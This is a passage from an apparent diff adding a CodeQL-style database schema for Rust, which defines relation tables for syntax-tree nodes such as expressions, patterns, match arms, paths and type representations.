+callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( 